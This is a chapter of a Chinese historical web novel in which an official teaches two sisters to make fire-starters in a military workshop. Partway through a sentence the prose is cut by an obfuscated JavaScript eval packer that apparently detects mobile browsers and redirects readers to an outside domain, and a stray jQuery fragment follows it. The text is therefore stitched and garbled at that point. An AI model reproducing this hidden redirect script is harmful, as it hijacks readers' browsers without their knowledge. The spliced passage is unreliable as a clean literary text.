她们走了一炷香的时间，来到了军器监门前。
门钉密缀，兽首衔环，军器监的大门都比一般的营房门要高大宽敞。
踩着被风雨侵蚀而布满旧痕的地砖，虞昭月领着凛雪，宝柔向北行。
略微刺鼻的味道钻进脑海，两扇漆黑的房门现于眼前。
门上挂着一块崭新的牌匾，漆色锃亮，写着“炼萃坊”。
“穿戴上吧，防护用的。”虞昭月从门口的木箱里取出特制的面罩、手套等用具递给凛雪与宝柔。
她们穿好后，与虞昭月一同进了坊内。
炼萃坊原叫作“炼丹房”，里面养着不少地师，虞昭月与之同役时发现不少好吃懒做之徒，她一气之下将这些招摇撞骗的人都上报给了凌墨渊。
后由石典将他们驱逐出城，留下的都是潜心钻研、技术精湛的能人。
“虞大人福安。”
坊内明亮宽敞，不少矿役来回走动，匆匆见礼。
宝柔跟着虞昭月从散发着滚滚热浪的巨大熔炉到了提炼区。
浓稠如墨的液体，刺鼻的白色烟雾，橘红色的粉末，在四面八方翻腾弥漫。
长柄铁勺，口口坩锅，大陶缸，小瓷瓶挨着墙根依次排列。
各种喊得出名字容器或闻所未闻的矿体让宝柔眼花缭乱。
一道道视线扫在她身上。
宝柔步伐凌乱，一双手从背后拿到身前，又从身前放到身后，不知该如何放。
粉色布鞋移动，宝柔急步跟上虞昭月，她身体紧绷，声音无措。“大人……柔儿什么都不会……”
虞昭月踩上板凳，她从巨炉里挖了一勺发着磷光的黄色蜡状固体，闻言，她顿了一瞬，笑着安慰道:“别担心，不会可以学，学习使人进步。”
纤手将细长的木勺放进陶罐中，虞昭月捧起陶罐递给一边候着的中年男人，她跳下板凳，视线中的少女慌乱捏紧袖口，低垂着眼睛，姿态柔弱胆怯，全身都透露着抗拒。
虞昭月忍不住伸出手拍了拍少女的肩，“新到一个陌生的环境，要学未知的技能，担心、忐忑、不自信是难免的。”
“你往好的地方想，你现在可是梅花营的人，往后天下太平，你再有技能傍身，无论经商还是搞发明，你都能凭自身本事在世上站稳脚跟。”
“嫁不嫁人，全凭自己高兴。”
“不寄人篱下，不看人脸色，不稀里糊涂一辈子为奴。
“自己做自己的主人，多好啊……”虞昭月话未说完，她面前的粉衣少女像是听到了什么不可思议的话，猛然抬头。
少女额间原本垂着的几缕柔顺发丝往后飘动，露出一双瞳孔放大的眼睛。
古代人思维封建，奴性早已根深蒂固，不是人人都想追求成功独立的。
在宝柔震惊的目光，虞昭月侃侃而谈的声音凝滞了。她叹了一口气，语气淡了几分，“是我想得太简单了，瞧你天赋出众，便心血来潮将你带来这里。”
“此地环境简陋，工作繁复……”
“总之，前路万般困难。柔儿要是不喜，不用勉强自己。”
无人打骂，不用嫁人，有自己的立身之本……
像是找到某种支撑或是信仰，宝柔散漫的眼神一点点变得坚定。
反应过来气氛不对。
宝柔后知后觉：“大人……”
虞昭月纤手忙不停，在屋里穿梭，她专于工作，没回身，声音无澜。“不想干，就回吧。”
“不，不，不，柔儿不走……”大人突然冷漠的样子，让宝柔全身发软。
她怕极了，她哽咽跪地。
纵使心有所惧，宝柔心知这是改变她人生的机会，由不得半点错失。
她往前膝行几步。
像抓救命稻草一样捏紧了虞昭月的衣袍后摆。
宝柔跪在虞昭月的脚尖处，她衣裙凌乱，脑袋快摇成了波浪鼓。“不，柔儿不走。”。
她仰着头，热泪滚出眼眶。“大人，柔儿愿意为自己找出路！”
“我不怕苦不怕累，求您别赶我走。”
“求您，求大人……”少女哭的梨花带雨，原本披散在身后的发丝落到胸前，少许几根沾在湿漉漉的脸颊，双眼微红，楚楚可怜。
虞昭月身体微僵，心里的那点冰冷早已消失。她俯身扶起宝柔，清隽的声音有了温度。“愿意学，是好事，快起来吧。”
“火折子简单，我们先学裁纸。”
虞昭月招手，唤来负责物质采办的矿史：“你去库房找些韧性好且易燃的草纸，以桑树、竹子制成的为佳。”
“再备一些艾绒，棉花，松香，蜂蜡。”
“是。”矿史恭敬退下。
虞昭月将破涕为笑的宝柔带到八仙桌案前，取过剪刀和写废的素纸。
她唇轻启，声柔和：“先跟着我学剪纸的方法吧。”
“好。”
宝柔心灵手巧，一教便会，甚至在裁纸的速度与质量上青出于蓝。
矿史运来制作火折子的材料后，凛雪也加入了剪纸卷纸的行列。
姐妹俩都是聪慧细心的好女子，她没看错人，想到此处，虞昭月不由杏眸染笑。
她将硝石和硫磺按比例调配。
随后，虞昭月取过卷好的卷纸，托住纸卷的底端蘸药剂，待纸卷颜色变深后，取出纸卷，在其底端裹紧棉花。
案桌后方的黑铜盆里始终白烟缭绕，宝柔始终专注，她跟着虞昭月的步骤，手指飞舞，眼睛亮晶。
虞昭月心里柔软，不免话多起来，“之后啊，还得把它放在通风良好之处阴干，就当下这天气，约莫半日便能彻底干透。”
“到时候把火折子放入特制的密封竹筒中，待需之时，打开竹筒盖，取出火折子轻轻一吹，便有火复燃。”
闻所未闻，像是神仙秘法。
宝柔抬头，语露崇拜，“大人您当真弥勒降世！”
虞昭月哑然失笑。
弥勒之说，不过是情急之下扯出来保命的幌子，怎么还传到了梅花营了？
见宝柔的眼睛像是粘在自己手上一样，虞昭月将半成品火折子递向宝柔，便起了身。
质地上乘的衣袍随着虞昭月的步伐摆动，她从容绕过长凳，来到案桌右方，这儿一直静坐着一位男子。
这人安静得如一棵古松，他眼角有纹，已过中年，着一袭灰衣，气质儒雅。
他正学着虞昭月举动，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534044|186464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给蘸满药剂的纸卷裹棉花。
他原是炼丹房的监官，现负责辅助虞昭月处理炼萃坊的日常事务。
视线中，他手上的火折子上形状完美，棉花包裹整齐。
虞昭月赞道：“张伯，很厉害。”
张卜闻言立马放下手中物品，恭敬起身，行礼：“大人谬赞。”
虞昭月抬手示意张卜落座。
张卜谢过，垂首坐下了，不卑不亢，一副静候差遣的模样。
虞昭月不与他客气，开门见山道：“张伯，天色不早了，我还有事要忙。”
“以后柔儿就在练萃坊工作了，劳张伯费心，多照拂照拂，莫让人欺负了去”
虞大人是突然冒出来的能人，位至军器监丞，深得太子殿下的信任，如今坊里事物，巨细皆由他一人定夺。
他这般郑重交代的事，张卜无半点轻慢之心。
张卜站起身来，他脊背微弯着，声音平和不失恭谨：“大人放心，如今坊里的矿匠都是和善之人，断不会为难宝姑娘的。”
“那再好不过了。”得了张卜这番承诺，虞昭月放下心来。
她取下手套，从怀里取出一瓶治伤药，放到宝柔面前的案几上。“三个时辰涂一次，柔儿你安心在此，我明日再来看你。”
宝柔手指翻动，给纸卷裹棉花，她万分专注，只掀起唇角脆生生地“嗯。”了一声。
“走啦，凛雪。”
身畔高挑的女子一动不动。
虞昭月转头望去，眼前的女子鼻梁高挺，面容冷冽，只是她仿若冷月的眸里有很多情绪。
宠溺，骄傲，担忧。
喊了两声，凛雪皆无反应，虞昭月干脆去扯她袖口。“别老是一副老母亲的样子，放手让她长大，走，我也给你寻份差事去。”
踏出军器监的大门一瞬，温热的风裹挟着浓郁的栀子花香扑来。
凛雪视线落在自己的腕间。
扯着她袖口的手，掌根盈盈小巧，指骨纤细如葱，看着比妹妹宝柔的手儿更显稚弱。
舞勺之年的稚气少年而已。
凛雪冷眉舒展，她抬手迁就。
路上士兵频频侧目。
踏入太子营房，虞昭月再次感受到一股犹疑的目光，她顺着石典的视线低头一瞥。
虞昭月眼睫微颤，如梦初醒，她放开凛雪，咳嗽一声，往旁避让。
一男一女一路拉拉扯扯，在这个封建时代，实有不妥。
可她自小就喜欢漂亮的女孩儿。
温婉动人，或灵动俏皮，她都愿意与之交朋友。
凛雪英姿飒爽，身姿挺拔，是她没见过的酷姐姐。她本意是想挽着凛雪走的，拉袖口已然是克制了，只是她一边拉着，一边思考着该如何与凌墨渊开口，以至于忘了松手。
虞昭月只稍垂眼，便抬头，她对石典友好点头。
石典蹙眉不语。
虞昭月领着凛雪往里走，像进了龙潭虎穴，越往里威严之气越重，厚重宽大的案几后方，一位白衣男子端坐于雕花木椅上。
他敛着长眉，手中的毛笔在纸上游走。
还未靠近，便寒意十足。
完了，虞昭月暗道来得不巧。